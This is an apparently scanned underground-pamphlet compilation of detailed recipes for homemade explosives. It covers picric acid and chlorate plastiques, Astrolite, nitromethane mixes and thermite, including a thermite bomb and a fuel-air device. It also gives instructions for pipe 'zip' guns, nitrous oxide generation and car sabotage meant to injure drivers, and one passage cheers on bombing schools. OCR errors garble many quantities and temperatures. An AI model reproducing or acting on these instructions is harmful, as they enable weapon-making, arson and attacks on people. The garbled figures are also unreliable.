This explosive is a phenol derivative. It is HIGHLY toxic and explosive compounds made from picric acid are poisonous if inhaled, ingested, or 
handled and absorbed through the skin. The toxicity of this explosive restricts its use due to the fact that over exposure in most cases causes 
liver and kidney failure and sometimes death if immediate treatment is not obtained. 

This explosive is a cousin to TNT but is more powerful than it's cousin. It is the first explosive used militarily and was adopted in 1888 as an 
artillery shell filler. Originally this explosive was derived from coal tar but thanks to modern chemistry you can make this explosive easily in 
approximately three hours from acetylsalicylic acid (aspirin purified). 

This procedure involves dissolving the acetylsalicylic acid in warm sulfuric acid and adding sodium or potassium nitrate which nitrates the 
purified aspirin and the whole mixture drowned in water and filtered to obtain the final product. This explosive is called trinitrophenol. Care 
should be taken to ensure that this explosive is stored in glass containers. Picric acid will form dangerous salts when allowed to contact all 
metals except tin and aluminum. These salts are primary explosive and are super sensitive. They also will cause the detonation of the picric 
acid. 

To make picric acid obtain some aspirin. The cheaper brands work best but buffered brands should be avoided. Powder these tablets to a fine 

consistency. To extract the acetylsalicylic acid from this powder place this powder in methyl alcohol and stir vigorously. Not all of the powder 
will dissolve. Filter this powder out of the alcohol. Again wash this powder that was filtered out of the alcohol with more alcohol but with a 
lesser amount than the first extraction. Again filter the remaining powder out of the alcohol. Combine the now clear alcohol and allow it to 
evaporate in a pyrex dish. When the alcohol has evaporated there will be a surprising amount of crystals in the bottom of the pyrex dish. 

Take forty grams of these purified acetylsalicylic acid crystals and dissolve them in 150 mL of sulfuric acid (98%, specify gravity 1 .8) and heat 
to dissolve all the crystals. This heating can be done in a common electric frying pan with the thermostat set on 150eF and filled with a good 
cooking oil. 

When all the crystals have dissolved in the sulfuric acid take the beaker, that you've done all this dissolving in (600 mL), out of the oil bath. This 
next step will need to be done with a very good ventilation system (it is a good idea to do any chemistry work such as the whole procedure 
and any procedure on this disk with good ventilation or outside). Slowly start adding 58 g of sodium nitrate or 77 g of potassium nitrate to the 
acid mixture in the beaker very slowly in small portions with vigorous stirring. A red gas (nitrogen trioxide) will be formed and this should be 
avoided. 

The mixture is likely to foam up and the addition should be stopped until the foaming goes down to prevent the overflow of the acid mixture in 
the beaker. When the sodium or potassium nitrate has been added the mixture is allowed to cool somewhat (30-40i£). The solution should then 
be dumped slowly into twice it's volume of crushed ice and water. The brilliant yellow crystals will form in the water. These should be filtered 
out and placed in 200 mL of boiling distilled water. This water is allowed to cool and then the crystals are then filtered out of the water. These 
crystals are a very, very pure trinitrophenol. These crystals are then placed in a pyrex dish and places in an oil bath and heated to SOaC and 
held there for 2 hours. This temperature is best maintahed and checked with a thermometer. 

The crystals are then powdered in small quantities to a face powder consistency. These powdered crystals are then mixed with 1 0% by 

weight wax and 5% vaseline which are heated to melting temperature and poured into the crystals. The mixing is best done by kneading 
together with gloved hands. This explosive should have a useful plasticity range of 0-40i£;. The detonation velocity should be around 7000 
m/sec. It is toxic to handle but simply made from common ingredients and is suitable for most demolition work requiring a moderately high 
detonation velocity. It is very suitable for shaped charges and some steel cutting charges. It is not as good an explosive as G4 or other RDX 
based explosives but it is much easier to make. Again this explosive is very toxic and should be treated with great care. 



AVOID HANDLING BARE-HANDED, BREATHING DUST AND FUMES, AVOID ANY CHANCE OF INGESTION. AFTER UTENSILS ARE USED FOR 
THE MANUFACTURE OF THIS EXPLOSIVE RETIRE THEM FROM THE KFTCHEN AS THE CHANCE OF POISONING IS NOT WORTH THE RISK. THIS 
EXPLOSIVE, IF MANUFACTURED AS ABOVE, SHOULD BE SAFE IN STORAGE BUT WITH ANY HOMEMADE EXPLOSIVE STORAGE OS NOT 
RECOMMENDED AND EXPLOSIVES SHOULD BE MADE UP AS NEEDED. 



Improvised Explosives Plastique Explosive from Bleach 

This explosive is a potassium chlorate explosive. This explosive and explosives of similar composition were used in World War II as the main 
explosive filler in grenades, land mines, and mortar used by French, German, and other forces involved in that conflict. These explosives are 
relatively safe to manufacture. 

One should strive to make sure these explosives are free of sulfur, sulfides, and picric acid. The presence of these compounds result in 
mixtures that are or can become highly sensitive and possibly decompose explosively while in storage. The manufacture of this explosive from 
bleach is given as just an expedient method. This method of manufacturing potassium chlorate is not economical due to the amount of energy 
used to boil the solution and cause the 'dissociation' reaction to take place. This procedure does work and yields a relatively pure and a 
sulfur/sulfide free product. These explosives are very cap sensitive and require only a #3 cap for instigating detonation. 

To manufacture potassium chlorate from bleach (5-i% sodium hypochlorite solution) obtain a heat source (hot plate etc.) a battery hydrometer, 
a large pyrex or enameled steel container (to weigh chemicals), and some potassium chloride (sold as salt substitute). Take one gallon of 
bleach, place it in the container and begin heating it. While this solution heats, weigh out 63 g potassium chloride and add this to the bleach 
being heated. Bring this solution to a boil and boiled until when checked by a hydrometer the reading is 1 .3 (if a battery hydrometer is used it 

should read full charge). 

When the reading is 1 .3 take the solution and let it cool in the refrigerator until it's between room temperature and O0C. Filter out the crystals that 
have formed and save them. Boil the solution again until it reads 1 .3 on the hydrometer and again cool the solution. Filter out the crystals that 
have formed and save them. Boil this solution again and cool as before. 

Filter and save the crystals. Take these crystals that have been saved and mix them with distilled water in the following proportions: 56g per 
100 mL distilled water. Heat this solution until it boils and allow it to cool. Filter the solution and save the crystals that form upon cooling. The 
process if purification is called fractional crystallization. These crystals should be relatively pure potassium chlorate. 

Powder these to the consistency of face powder (400 mesh) and heat gently to drive off all moisture. Melt five parts vaseline and five parts 
wax. Dissolve this in white gasoline (camp stove gasoline) and pour this liquid on 90 parts potassium chlorate (the crystals from the above 
operation) in a plastic bowl. Knead this liquid into the potassium chlorate until immediately mixed. Allow all the gasoline to evaporate. Place this 
explosive in a cool, dry place. Avoid friction, sulfur, sulfide, and phosphorous compounds. 

This explosive is best molded to the desired shape and density (1 .3g/cc) and dipped in wax to water proof. These block type charges 
guarantee the highest detonation velocity. This explosive is really not suited to use in shaped charge applications due to its relatively low 
detonation velocity. It is comparable to 40% ammonia dynamite and can be considered the same for the sake of charge computation. 

If tie potassium chlorate is bought and not made it is put into the manufacture process in the powdering stages preceding the addition of the 
wax/vaseline mixture. This explosive is bristant and powerful. The addition of 2-3% aluminum powder increases its blast effect. Detonation 
velocity is 3300 m/sec. 

Plastique Explosives From Swimming Pool Chlorinating Compound 

This explosive is a chlorate explosive from bleach. This method of production of potassium or sodium chlorate is easier and yields a more pure 
product than does the plastique explosive from bleach process. 

In this reaction the NTH (calcium hypochlorite CaC10) is mixed with water and heated with either sodium chloride (table salt, rock salt) or 
potassium chloride (salt substitute). The latter of these salts is the salt of cfioice due to the easy crystallization of the potassium chlorate. 

This mixture will need to be boiled to ensure complete reaction of the ingredients. Obtain some HTH swimming pool chlorination compound or 
equivalent (usually 65% calcium hypochlorite). As with the bleach process mentioned earlier the reaction described below is also a 
dissociation reaction. In a large pyrex glass or enameled steel container place 1200g HTH and 220g potassium chloride or 159g sodium 
chloride. Add enough boiling water to dissolve the powder and boil this solution. A chalky substance (calcium chloride) will be formed. When 
the formation of this chalky substance is no longer formed the solution is filtered while boiling hot. If potassium chloride was used potassium 
chlorate will be formed. 

This potassium chlorate will drop out or crystallize as the clear liquid left after filtering cools. These crystals are filtered out when the solution 
reaches room temperature. If the sodium chloride salt was used this clear filtrate (clear liquid after filtration) will need to have all water 
evaporated. This will leave crystals which should be saved. 

These crystals should be heated in a slightly warm oven in a pyrex dish to drive off all traces of water (4O-750C). These crystals are ground to 
a very fine powder (400 mesh). 



If the sodium chloride sail is used in the initial step the crystallization is much more time consuming. The potassium chloride is the salt to use as 
the resulting product will crystallize out of the solution as it cools. The powdered and completely dry chlorate crystals are kneaded together 
with vaseline in a plastic bowl. ALL CHLORATE BASED EXPLOSIVES ARE SENSITIVE TO FRICTION AND SHOCK AND THESE SHOULD BE 
AVOIDED. If sodium chloride is used in this explosive it will have a tendency to cal<e and has a slightly lower detonation velocity. 

This explosive is composed of the following: 

• Potassium/Sodium Chlorate 90% 

• Vaseline 10% 

Simply pour the powder into a plastic baggy and l<nead in the vaseline carefully. This explosive (especially if the Sodium Chlorate variation is 
used) should not be exposed to water or moisture. 

The detonation velocity can be raised to a slight extent by the addition of 2-3% aluminum substituted for 2-3% of the vaseline. This addition of 
this aluminum will give the explosive a bright flash if set off at night which will ruin night vision for a short while. The detonation velocity of this 
explosive is approximately 3200 m/sec for the potassium salt and 2900 m/sec for the sodium salt based explosive. 

It was claimed above that this explosive degrades over time. I would assume that this occurs due to the small amount of water present in the 
vaseline, and that a different type of fuel would be better than the vaseline. 

ASSORTED NASTIES: 

Sweet-Oil 

In this one you open there hood and pour some honey in their oil spout. If you have time you might remover the oil plug first and drain some of 
the oil out. I have tried this one but wasn't around to see the effects but I am sure that I did some damage. 

Slow Air 

OK, sneak up the victims car and poke a small hole somewhere in 2 of his/her tires. They only have 1 spare. Now if the hole is small but there 
then there tire will go flat some where on the road. You could slice the tire so this is blows out on the road with a razor blade. Cut a long and 
fairly deep (don't cut a hole all the way through) and peel a little bit of the rubber back and cut that off. Now very soon there tires will go flat or 
a possible blow out at a high speed if your lucky. 

Vanishing Paint 

Spread a little gas or paint thinner on the victims car and this will make his paint run and fade. Vodka will eat the paint off and so will a little 190. 
Eggs work great on paint if they sit there long enough. 

Loose Wheel 

Loosen the lugs on you victims tires so that they will soon fall off. This can really fuck some one up if they are cruising when the tire falls off. 

Dual Neutral 

This name sucks but pull the 1 0 bolt or what ever they have there off. (On the real wheels, in the middle of the axle) Now throw some screws, 
blots, nuts and assorted things in there and replace the cover. At this point you could chip some of the teeth off the gears. 

Un-Midaser 

Crawl under there car with a ratchet and loosen all the nuts on their exhaust so that it hangs low and will fall off soon. This method also works 
on transmissions but is a little harder to get all bolts off, but the harder you work the more you fuck them over. 

LAUGHING GAS 

Learn how to make laughing gas from ammonium nitrate. Laughing gas was one of the earliest anesthetics. After a little while of inhaling the 
gas the patient became so happy [ain't life great?] he couldn't keep from laughing. Finally he would drift off to a pleasant sleep. 

Some do-it-yourselfers have died while taking laughing gas. This is because they has generated it through plastic bags while their heads were 
inside. They were simply suffocating but were too bombed out to realize it. 

The trick is to have a plastic clothes bag in which you generate a lot of the gas. Then you stop generating the gas and hold a small opening of 
the bag under your nose, getting plenty of oxygen in the meantime. Then, Wheel To make it you start with ammonium nitrate bought from a 
chemical supply house or which you have purified with 100% rubbing or wood alcohol. 

First, dissolve a quantity of ammonium nitrate in some water. Then you evaporate the water over the stove, while stirring, until you have a 
heavy brine. When nearly all the moisture is out it should solidify instantly when a drop is put on an ice cold metal plate. 

When ready, dump it all out on a very cold surface. After a while, break it up and store it in a bottle. 



A spoonful is put into a flask with a one-hole stopper, with a tube leading into a big plastic bag. The flask is heated with an alcohol lamp. 



When the temperature in the flask reaches 480 F the gas will generate. If white fumes appear the heat should be lowered as the stuff 
explodes at 600 F. 

When the bag is filled, stop the action and get ready to turn on. 

CAUTION: 

NyO supplants oxygen in your blood, but you don't realize it. It's easy to die from NyO because you're suffocating and your breathing reflex 
doesn't know it. Do not put your head in a plastic bag. You will cheerfully choke to death. 

PIPE OR "ZIP" GUNS 

Commonly known as "zip" guns, guns made from pipe have been used for years by juvenile punks. Today's Militants make them just for the hell 
of it or to shoot once in an assassination or riot and throw away if there is any danger of apprehension. 

They can be used many times but with some, a length of dowel is needed to force out the spent shell. 

There are many variations but the illustration shows the basic design. 

First, a wooden stock is made and a groove is cut for the barrel to rest in. The barrel is then taped securely to the stock with a good, strong 
tape. 

The trigger is made from galvanized tin. A slot is punched in the trigger flap to hold a roofing nail, which is wired or soldered onto the flap. The 

trigger is bent and nailed to the stock on both sides. 

The pipe is a short length of one-quarter inch steel gas or water pipe with a bore that fits in a cartridge, yet keeps the cartridge rim from 
passing through the pipe. 

The cartridge is put in the pipe and the cap, with a hole bored through it, is screwed on. Then the trigger is slowly released to let the nail pass 
through the hole and rest on the primer. 

To fire, the trigger is pulled back with the left hand and held back with 
the thumb of the right hand. The gun is then aimed and the thumb releases the 
trigger and the thing actually fires. 

Pipes of different lengths and diameters are found in any hardware store. All caliber bullets, from the .22 to the .45 are used in such guns. 

Some zip guns are made from two or three pipes nested within each other. For instance, a .22 shell will fit snugly into a length of a car's 
copper gas line. Unfortunately, the copper is too weak to withstand the pressure of the firing. So the length of gas line is spread with glue and 
pushed into a wider length of pipe. This is spread with glue and pushed into a length of steel pipe with threads and a cap. 

Using this method, you can accommodate any cartridge, even a rifle shell. The first size of pipe for a rifle shell accommodates the bullet. The 
second accommodates its wider powder chamber. 

A 12-gauge shotgun can be made from a 3/4 inch steel pipe. If you want to comply with the gun laws, the barrel should be at least eighteen 
inches long. 

Its firing mechanism is the same as that for the pistol. It naturally has a longer stock and its handle is lengthened into a rifle butt. Also, a small 
nail is driven half way into each side of the stock about four inches in the front of the trigger. The rubber band is put over one nail and brought 
around the trigger and snagged over the other nail. 

In case you actually make a zip gun, you should test it before firing it by hand. This is done by first tying the gun to a tree or post, pointed to 
where it will do no damage. Then a string is tied to the trigger and you go off several yards. The string is then pulled back and let go. If the 
barrel does not blow up, the gun is (probably) safe to fire by hand. Repeat firings may weaken the barrel, so NO zip gun can be considered 
"safe" to use. 

Astrolite and Sodium Chlorate Explosives 
By: Future Spy & The Fighting Falcon 
Note: Information on the Astrolite Explosives were taken from the book 'Two Component High Explosive Mixtures' By Desert Pub'l 

Some of the chemicals used are somewhat toxic, but who gives a fuck! Go ahead! I won't even bother mentioning 'This information is for 
enlightening purposes only'! I would love it if everyone made a gallon of astrolite and blew their fucking school to kingdom scum! 



Astrolite 



The astrolite family of liquid explosives were products of rocket propellant research in the '60's. Astrolite A-1-5 is supposed to be the world's 
most powerful non-nuclear explosive -at about 1 .8 to 2 times more powerful than TNT. Being more powerful it is also safer to handle than TNT 
(not that it isn't safe in the first place) and Nitroglycerin. 

Astrolite G 

"Astrolite G is a clear liquid explosive especially designed to produce very high detonation velocity, 8,600MPS (meters/sec), compared with 
7,700MPS for nitroglycerin and 6,900MPS for TNT.. .In addition, a very unusual characteristic is that it the liquid explosive has the ability to be 
absorbed easily into the ground while remaining detonatable...ln field tests, Astrolite G has remained detonatable for 4 days in the ground, even 
when the soil was soaked due to rainy weather" know what that means?.. ..Astrolite Dynamitel 

To make (mix in fairly large container & outside) Two parts by weight of ammonium nitrate mixed with one part by weight 'anhydrous' 
hydrazine, produces Astrolite G... Simple enough eh? I'm sure that the 2:1 ratio is not perfect, and that if you screw around with it long enough, 
that you'll find a better formula. Also, dunno why the book says 'anhydrous' hydrazine, hydrazine is already anhydrous... 

Hydrazine is the chemical you'll probably have the hardest time getting hold of. Uses for Hydrazine are; Rocket fuel, agricultural chemicals 
(maleic hydra-zide), drugs (antibacterial and antihypertension), polymerization catalyst, plating metals on glass and plastics, solder fluxes, 
photographic developers, diving equipment. Hydrazine is also the chemical you should be careful with. 

Astrolite A/A-1 -5 

Mix 20% (weight) aluminum powder to the ammonium nitrate, and then mix with hydrazine. The aluminum powder should be 100 mesh or finer. 
Astrolite A has a detonation velocity of 7,800MPS. 

M/sc Info 

You should be careful not to get any of the astrolite on you, if it happens though, you should flush the area with water. Astrolite A&G both 
should be able to be detonated by a #8 blasting cap. 

Sodium Chlorate Formulas 

Sodium Chlorate is similar to potassium chlorate, and in most cases can be a substitute. Sodium chlorate is also more soluble in water. You can 
find sodium chlorate at Channel or any hardware/home improvement store. It is used in blowtorches and you can get about 3 lbs for about 
$6.00. 

Sodium Chlorate Gunpowder 

• 65% Sodium Chlorate 

• 22% Charcoal 

• 13% Sulfur 

• Sprinkles of Graphite on top 

Rocket Fuel 

• 6 parts Sodium Chlorate 

• 5 parts Rubber Cement 

• Mix "THOROUGHLY* 

Rocket Fuel II 
(Better Performance) 

• 50% Sodium Chlorate 

• 35% Rubber Cement ('One-Coat' brand) 

• 1 0% Epoxy Resin Hardener 

• 5% Sulfur 

You may want to add more sodium chlorate depending on the purity you are using. 

Incendiary Mixture 

• 55% Aluminum Powder (Atomized) 

• 45% Sodium Chlorate 

• 5% Sulfur 

Impact Mixture 

• 50% Red Phosphorus 

• 50% Sodium Chlorate 

Unlike potassium chlorate, sodium chlorate won't explode spontaneously when mixed with phosphorus. It has to be hit to be detonated. 

Filler explosive 

• 85% Sodium Chlorate 



• 1 0% Vaseline 

• 5% Aluminum Powder 

Nitromethane formulas 

I thought that I might add this in since it's similar to Astrolite. 

• Nitromethane (CHSNOy) 

• Specific Gravity: 1.139 

• Flash Point: 95if 

• Auto-Ignite: 785eF 

Derivation: Reaction of methane or propane with nitric acid under pressure. 

Uses: Rocket fuel; solvent for cellulosic compounds, polymers, waxes, fats, etc. 

To be detonated with a #8 cap, add: 

1 .95% nitromethane + 5% ethylenediamine 
2.94% nitromethane + 6% aniline 

Power output: 22-24% more powerful than TNT. Detonation velocity of 6,200MPS. 

Nitromethane 'solid' explosives 

• 2 parts nitromethane 

• 5 parts ammonium nitrate (solid powder) 

Soak for 3-5 min. When done, store in an air-tight container. This is supposed to be 30% more powerful than dynamite containing 60% nitro- 
glycerin, and has 30% more brilliance. 

MERCURY BATTERY BOMBI 
by Phucked Agent I 

Materials: 

• 1 Mercury Battery (1 « or 1 .4 V Hearing Aid) 

• 1 working lamp with on/off switch 

It is VERY SIMPLE!!! Hurray! Kids under 1 8 shouldn't consider trying this one or else they would have mercurb acid on their faces! 

1 .Turn the lamp switch on to see if lite-bulb lights up. 
2. If work, leave the switch on and unplug the cord 

3. Unscrew the bulb (Don't touch the hot-spot!) 

4. Place 1 Mercury Battery in the socket and make sure that it is touching the Hot-spot contact. 

5. Move any object or furniture - Why? There may be sparks given off! 
e.Now your favorite part, stand back and plug in cord in the socket. 
7.And you will have funll Like Real Party!!! 



219.Thermite IV by Kilrov 

DISCUMMER : 

The making and possession of the following devices and mixtures is probably illegal in most communities. The incendiaries are capable of 
burning in excess of 5400eF and are next to impossible to extinguish. If you make them you accept all responsibility for their possession and 
use. You also accept all responsibility for your own stupidity and carelessness. This information is intended solely to educate. All Formulas are 
by Weight 

Thermites are a group of pyrotechnics mixtures in which a reactive metal reduces oxygen from a metallic oxide. This produces a lot of heat, 
slag and pure metal. The most common thermite is ferroaluminum thermite, made from aluminum (reactive metal) and iron oxide (metal oxide). 
When it burns it produces aluminum oxide (slag) and pure iron. Thermite is usually used to cut or weld metal. As an experiment, a 3 lb. brick of 
thermite was placed on an aluminum engine block. After the thermite was done burning, only a small portion of block was melted. However, the 
block was very warped out of shape plus there were cracks all through the block. Ferro-thermite produces about 930 calories per gram The 
usual proportions of ferro-thermite are 25% aluminum and 75% iron oxide The iron oxide usually used is not rust (Fe203) but iron scale 
(Fe304). Rust will work but you may want to adjust the mixture to about 77% rust. The aluminum is usually coarse powder to help slow down 
the burning rate. The chemicals are mixed together thoroughly and compressed into a suitable container. A first fire mix is poured on top and 
ignited. 



NOTE: Thermites are generally very safe to mix and store. They are not shock or friction sensitive and ignite at about 2000eF. 
A first fire mix is a mixture that ignites easier than thermite and burns hot enough to light the thermite reliably. A very good one is : 

• Potassium Nitrate 5 parts 

• Fine ground Aluminum 3 parts 

• Sulfur 2 parts 

Mix the above thoroughly and combine 2 parts of it with 1 part of finely powdered ferro-thermite. The resulting mixture can be light by safety 
fuse and burns intensely. 

One problem with thermites is the difference in weight between the aluminum and the oxide. This causes them to separate out rendering the 

thermite useless. One way to fix this is to use a binder to hold the chemicals to each other. Sulfur is good for this. Called Diasite, this formula 
uses sulfur to bind all the chemicals together. It's drawback is the thermite must be heated to melt the sulfur. 

• Iron Oxide 70 % 

• Aluminum 23% 

• Sulfur 7 % 

Mix the oxide and aluminum together and put them in an oven at 325f and let the mix heat for a while. When the mixture is hot sprinkle the 
sulfur over it and mix well. Put this back in the oven for a few minutes to melt all the sulfur. Pull it back out and mix it again. While it is still hot, 
load into containers for use. When it cools, drill out the diasite to hold about 10-15 grams of first fire mix. When diasite burns it forms sulfide 
compounds that release hydrogen sulfide when in contact with water. This rotten egg odor can hamper fire fighting efforts. Thermite can be 
made not to separate by compressing it under a couple of tons pressure. The resulting pellet is strong and burns slower than thermite powder. 

CAST THERMITE; This formula can be cast into molds or containers and hardens into a solid mass. It does not produce as much iron as regular 
ferro-thermite, but it makes a slag which stays liquid a lot longer. Make a mixtures as follows. 

• Plaster of Paris 2 parts 

• Fine and Coarse Mixed Aluminum 2 parts 

• Iron Oxide 3 parts 

Mix together well and add enough water to wet down plaster. Pour it into a mold and let it sit for « hour. Pour off any extra water that 
separates out on top. Let this dry in the sun for at least a week. Or dry in the sun for one day and put in a 250eF oven for a couple of hours. 
Drill it out for a first fire mix when dry. 

THERMITE BOMB: Thermite can be made to explode by taking the cast thermite formula and substituting fine powdered aluminum for the 
coarse/fine mix. Take 1 5 grams of first fire mix and put in the center of a piece of aluminum foil. Insert a waterproof fuse into the mix and 
gather up the foil around the fuse. Waterproof the foil/fuse with a thin coat of wax. Obtain a twopiece spherical mold with a diameter of about 
4-5 inches. Wax or oil the inside of the mold to help release the thermite. Now, fill one half of the mold with the cast thermite. Put the first 
fire/fuse package into the center of the filled mold. Fill the other half of the mold with the thermite and assemble mold. The mold will have to 
have a hole in it for the fuse to stick out. In about an hour, carefully separate the mold. You should have a ball of thermite with the first fire mix 
in the center of it, and the fuse sticking out of the ball. Dry the ball in the sun for about a week. DO NOT DRY IT IN AN OVEN! The fuse ignites 
the first fire mix which in turn ignites the thermite. Since the thermite is ignited from the center out, the heat builds up in the thermite and it burns 
faster than normal. The result is a small explosion. The thermite ball burns in a split second and throws molten iron and slag around. Use this 
carefully I 

THERMITE WELL: To cut metal with thermite, take a refractory crucible and drill a 1/4 in. hole in the bottom. Epoxy a thin (20 gal) sheet of mild 
steel over the hole. Allow the epoxy to dry. Fill the crucible with ferro-thermite and insert a first fire igniter in the thermite. Fashion a standoff to 
the crucible. This should hold the crucible about 1 « in. up. Place the well over your target and ignite the first fire. The well works this way. The 
thermite burns, making slag and iron. Since the iron is heavier it goes to the bottom of the well. The molten iron burns through the metal sheet. 
This produces a small delay which gives the iron and slag more time to separate fully. The molten iron drips out through the hole in the bottom 
of the crucible. The standoff allows the thermite to continue flowing out of the crucible. The force of the dripping iron bores a hole in the target. 
A 2 lb thermite well can penetrate up to 3/4 in. of steel. Experiment with different configurations to get maximum penetration. For a crucible, try 
a flower pot coated with a magnesium oxide layer. Sometimes the pot cracks however. Take the cast thermite formula and add 50% ferro- 
thermite to it. This produces a fair amount of iron plus a very liquid slag. 

THERMfTE FUEL-AIR EXPLOSION: This is a very dangerous device. Ask yourself if you really truly want to make it before you do any work on 
it. It is next to impossible to give any dimensions of containers or weights of charges because of the availability of parts changes from one 
person to the next. However here is a general description of this device affectionately known as a HELLHOUND. 

Make a thermite charge in a 1/8 in. wall pipe. This charge must be electrically ignited. At the opposite end of the pipe away from the igniter side 
put a small explosive charge of flash powder weighing about 1 oz Drill a small hole in a pipe end cap and run the wires from the igniter through 
the hole. Seal the wires and hole up with fuel proof epoxy or cement. Try ferrule cement available at sporting goods stores. Dope the threads 



of the end caps with a good pipe dope and screw them onto the pipe. This gives you a thermite charge in an iron pipe arranged so that when 
the thermite is electrically ignited, it will burn from one end to the other finally setting of the flash powder charge. Place this device in a larger 
pipe or very stout metal container which is sealed at one end. Use a couple of metal "spiders" to keep the device away from the walls or ends 
of the larger container. Run the wires out through the wall of the container and seal the wires with the fuel proof epoxy. Fill the container with 
a volatile liquid fuel. Acetone or gasoline works great. Now seal up the container with an appropriate end cap and it is done. 

The device works like this: Attach a timer-power supply to the wires. When the thermite is ignited it superheats the liquid fuel. Since the 
container is strong enough to hold the pressure the fuel does not boil. When the thermite burns down to the explosive, it explodes rupturing the 
container and releasing the superheated fuel. The fuel expands, cooling off and making a fine mist and vapor that mixes with the surrounding 
air. The hot thermite slag is also thrown into the air which ignites the fuel-air mix. The result is obvious. Try about 1 « lbs of thermite to a gallon 
of fuel. For the pressure vessel, try an old pressure cooker. Because the fuel may dissolve the epoxy don't keep this device around for very 
long. But ask yourself, do you really want to make this? 

EXOTIC THERMITES: Thermites can also be made from teflon-magnesium or metal fluorides-magnesium or aluminum. If there is an excess of 
fluoride compound in the mixture, fluorine gas can be released. Fluorine is extremely corrosive and reactive. The gas can cause organic 
material to burst into flames by mere contact. For teflon-magnesium use 67% teflon and 33% magnesium. A strong first fire igniter should be 
used to ignite this mixture. Both the teflon and the magnesium should be in powdered form. Do not inhale any smoke from the burning mixture, if 
you use metal-fluorides instead of teflon, use fluorides of low energy metals. Lead fluoride is a good example. Try using 90% lead fluoride and 
10% aluminum. Warning: Fluoride compounds can be very poisonous. They are approximately equal to cyanide compounds. Another exotic mix 
is tricalcium orthophosphate and aluminum. When this burns, it forms calcium phosphide which when contacts water releases hydrogen 
phosphide which can ignite spontaneously in air. Tricalcium orthophosphate has the formula Ca3(P04)2 and Is known as white-locklte. Use 
about 75% orthophosphate and 25% aluminum. This ratio may have to be altered for better burning as I have not experimented with it much and 
don't know if more aluminum may reduce the calcium better. It does work but it is a hard to ignite mixture. A first fire mix containing a few 
percent of magnesium works well. 

Fighting thermite fires: Two ways to fight thermite fires are either smothering the thermite with sand. This doesn't put out the thermite but it 
does help contain it and block some of the heat. The other way is to flood the thermite with a great amount of water. This helps to break the 
thermite apart and stop the reaction. If you use a small amount of water, an explosion may result as the thermite may reduce the water and 
release hydrogen gas. Thermite can start fires from the heat radiating from the reaction. Nearby flammable substances can catch fire even 
though no sparks or flame touch them. 



